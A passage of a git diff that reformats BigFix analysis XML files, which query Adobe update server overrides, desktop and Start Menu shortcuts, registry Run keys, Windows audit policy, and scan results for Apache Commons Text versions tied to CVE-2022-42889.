-    <Property ID="2" Name="AdobeUpdater.Overrides" EvaluationPeriod="P7D">lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Adobe Update Server - Windows
+  ID       : 2994671
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-07-16T15:13:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Adobe Update Server - Windows</Title>
+    <Description><![CDATA[<P>This analysis reports on the information&nbsp;about the configured Adobe Update Server</P>
+<P><FONT size=2>&nbsp;</P></FONT>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html">http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html">http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html">http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html">http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html</A></P>
+<P><A href="http://www.regexr.com/395i4">http://www.regexr.com/395i4</A></P>
+<P><A href="http://www.regexr.com/395de">http://www.regexr.com/395de</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 16 Jul 2014 22:12:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="AdobeUpdater.Overrides" EvaluationPeriod="P7D">lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server Settings - Windows (2994676).bes b/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server Settings - Windows (2994676).bes
index 44d360dfa..190588610 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server Settings - Windows (2994676).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Adobe Update Server Settings - Windows (2994676).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Adobe Update Server Settings - Windows
-  ID       : 2994676
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2014-07-16T16:32:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Adobe Update Server Settings - Windows</Title>
-    <Description><![CDATA[<P>This analysis reports on the information&nbsp;about the configured Adobe Update Server</P>
-<P><FONT size=2>&nbsp;</P></FONT>
-<P><STRONG>References:</STRONG></P>
-<P><A href="http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html">http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html</A></P>
-<P><A href="http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html">http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html</A></P>
-<P><A href="http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html">http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html</A></P>
-<P><A href="http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html">http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html</A></P>
-<P><A href="http://www.regexr.com/395i4">http://www.regexr.com/395i4</A></P>
-<P><A href="http://www.regexr.com/395de">http://www.regexr.com/395de</A></P>
-<P>&nbsp;</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 16 Jul 2014 23:19:44 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="2" Name="AdobeUpdater.Overrides" EvaluationPeriod="P7D">lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Adobe Update Server Settings - Windows
+  ID       : 2994676
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-07-16T16:32:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Adobe Update Server Settings - Windows</Title>
+    <Description><![CDATA[<P>This analysis reports on the information&nbsp;about the configured Adobe Update Server</P>
+<P><FONT size=2>&nbsp;</P></FONT>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html">http://helpx.adobe.com/creative-cloud/packager/update-server-setup-tool.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html">http://helpx.adobe.com/creative-cloud/packager/provisioning-toolkit-enterprise.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html">http://helpx.adobe.com/creative-cloud/packager/preparing-deploy.html</A></P>
+<P><A href="http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html">http://helpx.adobe.com/creative-cloud/packager/creative-cloud-packager.html</A></P>
+<P><A href="http://www.regexr.com/395i4">http://www.regexr.com/395i4</A></P>
+<P><A href="http://www.regexr.com/395de">http://www.regexr.com/395de</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 16 Jul 2014 23:19:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="AdobeUpdater.Overrides" EvaluationPeriod="P7D">lines of files &quot;AdobeUpdater.Overrides&quot; of folders of (folders &quot;ProgramData\Adobe\AAMUpdater&quot; of it;folders &quot;Documents and Settings\All Users\Application Data\Adobe\AAMUpdater&quot; of it) of root folders of drives of system folders</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/All Users - Files, Shortcuts, RunKey - Windows (2994785).bes b/Sites/Windows Management/Fixlets/Analyses/All Users - Files, Shortcuts, RunKey - Windows (2994785).bes
index d2724101d..44b8f4035 100644
--- a/Sites/Windows Management/Fixlets/Analyses/All Users - Files, Shortcuts, RunKey - Windows (2994785).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/All Users - Files, Shortcuts, RunKey - Windows (2994785).bes	
@@ -1,33 +1,33 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : All Users - Files, Shortcuts, RunKey - Windows
-  ID       : 2994785
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T09:35:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>All Users - Files, Shortcuts, RunKey - Windows</Title>
-    <Description><![CDATA[<P>&nbsp;</P>
-<P>The latest version of this analysis is found here: <A href="http://bigfix.me/analysis/details/2994608"><FONT color=#000080>http://bigfix.me/analysis/details/2994608</FONT></A></P>
-<P>See the task "Delete start menu shortcuts containing "uninstall"" to delete the shortcuts found in the property "All Users Start Menu "Uninstall" shortcuts" of this analysis. The task is found here:&nbsp;<A href="http://bigfix.me/fixlet/details/3657"><FONT color=#000080>http://bigfix.me/fixlet/details/3657</FONT></A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 16:34:10 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="All User Desktop folder" EvaluationPeriod="P2D">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Desktop&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="2" Name="Files on All User Desktop" EvaluationPeriod="P2D">names whose(it as lowercase != &quot;desktop.ini&quot;) of files of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Desktop&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
-    <Property ID="3" Name="All Users Start Menu folder" EvaluationPeriod="P2D">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="4" Name="All Users Start Menu shortcuts" EvaluationPeriod="P2D">(following text of first (unique value whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries) &amp; &quot;\&quot;) of it) of pathnames of descendants whose(name of it as lowercase ends with &quot;.lnk&quot;) of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
-    <Property ID="5" Name="All Users Start Menu &quot;Uninstall&quot; shortcuts" EvaluationPeriod="P2D">(following text of first ((unique value whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)) &amp; &quot;\&quot;) of it) of pathnames of descendants whose(name of it as lowercase ends with &quot;.lnk&quot; AND name of it as lowercase contains &quot;uninstall&quot;) of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
-    <Property ID="6" Name="All_User Run key" EvaluationPeriod="P2D">unique values of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) whose(it != &quot;&quot;) of values of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="7" Name="All_User RunOnce key" EvaluationPeriod="P2D">unique values of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) whose(it != &quot;&quot;) of values of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="8" Name="All Users Run key" EvaluationPeriod="P2D">(unique values whose(it != &quot;&quot;) of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) of values of keys &quot;Software\Microsoft\Windows\CurrentVersion\Run&quot; of keys of keys &quot;HKEY_USERS&quot; of (x64 registries; x32 registries))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : All Users - Files, Shortcuts, RunKey - Windows
+  ID       : 2994785
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T09:35:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>All Users - Files, Shortcuts, RunKey - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;</P>
+<P>The latest version of this analysis is found here: <A href="http://bigfix.me/analysis/details/2994608"><FONT color=#000080>http://bigfix.me/analysis/details/2994608</FONT></A></P>
+<P>See the task "Delete start menu shortcuts containing "uninstall"" to delete the shortcuts found in the property "All Users Start Menu "Uninstall" shortcuts" of this analysis. The task is found here:&nbsp;<A href="http://bigfix.me/fixlet/details/3657"><FONT color=#000080>http://bigfix.me/fixlet/details/3657</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 16:34:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="All User Desktop folder" EvaluationPeriod="P2D">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Desktop&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="2" Name="Files on All User Desktop" EvaluationPeriod="P2D">names whose(it as lowercase != &quot;desktop.ini&quot;) of files of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Desktop&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
+    <Property ID="3" Name="All Users Start Menu folder" EvaluationPeriod="P2D">unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="4" Name="All Users Start Menu shortcuts" EvaluationPeriod="P2D">(following text of first (unique value whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries) &amp; &quot;\&quot;) of it) of pathnames of descendants whose(name of it as lowercase ends with &quot;.lnk&quot;) of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
+    <Property ID="5" Name="All Users Start Menu &quot;Uninstall&quot; shortcuts" EvaluationPeriod="P2D">(following text of first ((unique value whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries)) &amp; &quot;\&quot;) of it) of pathnames of descendants whose(name of it as lowercase ends with &quot;.lnk&quot; AND name of it as lowercase contains &quot;uninstall&quot;) of folders (unique values whose(it != &quot;&quot;) of (it as string as trimmed string) of values &quot;Common Start Menu&quot; of keys &quot;HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders&quot; of (x64 registries; x32 registries))</Property>
+    <Property ID="6" Name="All_User Run key" EvaluationPeriod="P2D">unique values of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) whose(it != &quot;&quot;) of values of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="7" Name="All_User RunOnce key" EvaluationPeriod="P2D">unique values of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) whose(it != &quot;&quot;) of values of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="8" Name="All Users Run key" EvaluationPeriod="P2D">(unique values whose(it != &quot;&quot;) of (preceding text of last &quot;%00&quot; of it | it) of (it as string as trimmed string) of values of keys &quot;Software\Microsoft\Windows\CurrentVersion\Run&quot; of keys of keys &quot;HKEY_USERS&quot; of (x64 registries; x32 registries))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes b/Sites/Windows Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes
index 4a80fec3b..7ab92a171 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Apache Commons Text Scan Analysis.bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Apache Commons Text Scan Analysis
-  ID       : 2998676
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2022-10-21T12:03:09
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Apache Commons Text Scan Analysis</Title>
-    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
-<P></P>
-<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
-<P>This&nbsp;Analysis retrieves results of&nbsp;a filesystem scan to attempt detecting Apache Commons Text versions that may be vulnerable to one of the following vulnerabilty CVE-2022-42889 reported in October 2022:</P>
-<UL>
-<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om"><FONT color=#0066cc>https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</FONT></A>
-<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889"><FONT color=#0066cc>https://nvd.nist.gov/vuln/detail/CVE-2022-42889</FONT></A><BR></LI></UL>
-<P><SPAN style="FONT-SIZE: 11pt">This Analysis attempts to detect the presence and versions of Apache Commons Text java library, without distinction between vulnerable or updated versions.&nbsp; These results should be considered only a starting point in determining whether a system is actually vulnerable, along with other information such as the version of Java Virtual Machine and specific application or code configurations as referenced in the security bulletins above.</SPAN></P>]]></Description>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[exists files "apache-commons-text.txt" of folders "Scans" of folders ((if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite")))]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 18 Oct 2022 16:15:23 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="All Apache Commons Text Detections" EvaluationPeriod="PT30M">(if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;))) </Property>
-    <Property ID="2" Name="Number of Apache Commons Text Detections" EvaluationPeriod="PT30M">number of (if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
-    <Property ID="4" Name="Unique Apache Commons Text Versions Found" EvaluationPeriod="PT30M">unique values of (unique value of following texts of lasts &quot;-&quot; of preceding texts of lasts &quot;.jar&quot; of (it as lowercase) | &quot;unknown&quot;) of lines whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Apache Commons Text Scan Analysis
+  ID       : 2998676
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-10-21T12:03:09
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Apache Commons Text Scan Analysis</Title>
+    <Description><![CDATA[<H3>This is Community Content. When you use these solutions, it is incumbent on your organization to test any solutions provided across the broadest available system base including various OS, storage solutions, and application inventory.</H3>
+<P></P>
+<P>Please see the <A href="https://forum.bigfix.com/t/log4j-vulnerability-identification-and-3rd-party-remediation-solution-testing-statement/40273"><FONT color=#0066cc>Community Solution Testing Statement</FONT></A></P>
+<P>This&nbsp;Analysis retrieves results of&nbsp;a filesystem scan to attempt detecting Apache Commons Text versions that may be vulnerable to one of the following vulnerabilty CVE-2022-42889 reported in October 2022:</P>
+<UL>
+<LI><A href="https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om"><FONT color=#0066cc>https://lists.apache.org/thread/n2bd4vdsgkqh2tm14l1wyc3jyol7s1om</FONT></A>
+<LI><A href="https://nvd.nist.gov/vuln/detail/CVE-2022-42889"><FONT color=#0066cc>https://nvd.nist.gov/vuln/detail/CVE-2022-42889</FONT></A><BR></LI></UL>
+<P><SPAN style="FONT-SIZE: 11pt">This Analysis attempts to detect the presence and versions of Apache Commons Text java library, without distinction between vulnerable or updated versions.&nbsp; These results should be considered only a starting point in determining whether a system is actually vulnerable, along with other information such as the version of Java Virtual Machine and specific application or code configurations as referenced in the security bulletins above.</SPAN></P>]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[exists files "apache-commons-text.txt" of folders "Scans" of folders ((if (version of client >= "9" as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site "actionsite")))]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 18 Oct 2022 16:15:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="All Apache Commons Text Detections" EvaluationPeriod="PT30M">(if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;))) </Property>
+    <Property ID="2" Name="Number of Apache Commons Text Detections" EvaluationPeriod="PT30M">number of (if exists property &quot;locked lines&quot; then locked lines of it else lines of it) whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
+    <Property ID="4" Name="Unique Apache Commons Text Versions Found" EvaluationPeriod="PT30M">unique values of (unique value of following texts of lasts &quot;-&quot; of preceding texts of lasts &quot;.jar&quot; of (it as lowercase) | &quot;unknown&quot;) of lines whose (it does not start with &quot;::&quot;) of files &quot;apache-commons-text.txt&quot; of folders &quot;Scans&quot; of folders ((if (version of client &gt;= &quot;9&quot; as version) then (pathname of parent folder of data folder of client) else (pathname of parent folder of parent folder of client folder of site &quot;actionsite&quot;)))</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Audit Policy - Windows (2998298).bes b/Sites/Windows Management/Fixlets/Analyses/Audit Policy - Windows (2998298).bes
index cf190181b..28fc92005 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Audit Policy - Windows (2998298).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Audit Policy - Windows (2998298).bes	
@@ -1,46 +1,46 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Audit Policy - Windows
-  ID       : 2998298
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-19T18:02:18
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Audit Policy - Windows</Title>
-    <Description><![CDATA[<P>This Analysis provides information on the current Windows Audit Policy on the system.</P>
-<P>Policies queried include:</P>
-<OL>
-<LI>Account Lockout</LI>
-<LI>Account Password</LI>
-<LI>Audit Logging for Accounts</LI>
-<LI>Audit Logging for Object Access</LI>
-<LI>Audit Logging for Policy Changes</LI>
-<LI>Audit Logging for Privilege Use</LI>
-<LI>Audit Logging for System Policies</LI></OL>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Audit - Password History Length - Windows" EvaluationPeriod="P1D">password history length of security database</Property>
-    <Property ID="2" Name="Audit - Minimum Password Length - Windows" EvaluationPeriod="P1D">minimum password length of security database</Property>
-    <Property ID="3" Name="Audit - Minimum Password Age - Windows" EvaluationPeriod="P1D">minimum password age of security database</Property>
-    <Property ID="4" Name="Audit - Maximum Password Age - Windows" EvaluationPeriod="P1D">maximum password age of security database | error &quot;none&quot;</Property>
-    <Property ID="5" Name="Audit - Force Logoff Interval - Windows" EvaluationPeriod="P1D">force logoff interval of security database | &quot;none&quot;</Property>
-    <Property ID="6" Name="Audit - Account Lockout Threshold - Windows" EvaluationPeriod="P1D">account lockout threshold of security database</Property>
-    <Property ID="7" Name="Audit - Account Lockout Observation Windows - Windows" EvaluationPeriod="P1D">account lockout observation window of security database</Property>
-    <Property ID="8" Name="Audit - Account Lockout Duration - Windows" EvaluationPeriod="P1D">account lockout duration of security database</Property>
-    <Property ID="9" Name="Audit - Account Logon - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of account logon category of audit policy</Property>
-    <Property ID="10" Name="Audit - Account Management - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of account management category of audit policy</Property>
-    <Property ID="11" Name="Audit - Detailed Tracking - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of detailed tracking category of audit policy</Property>
-    <Property ID="12" Name="Audit - Domain Access - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of ds access category of audit policy</Property>
-    <Property ID="13" Name="Audit - Logon Logoff - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of logon logoff category of audit policy</Property>
-    <Property ID="14" Name="Audit - Object Access - Windows" EvaluationPeriod="P1D">(name of it, (if (audit failure of it and audit success of it) then (&quot;Success, Failure&quot;) else (if (audit failure of it) then (&quot;Failure&quot;) else (if (audit success of it) then (&quot;Success&quot;) else (&quot;No Auditing&quot;)))) of system policy of it) of subcategories of object access category of audit policy</Property>
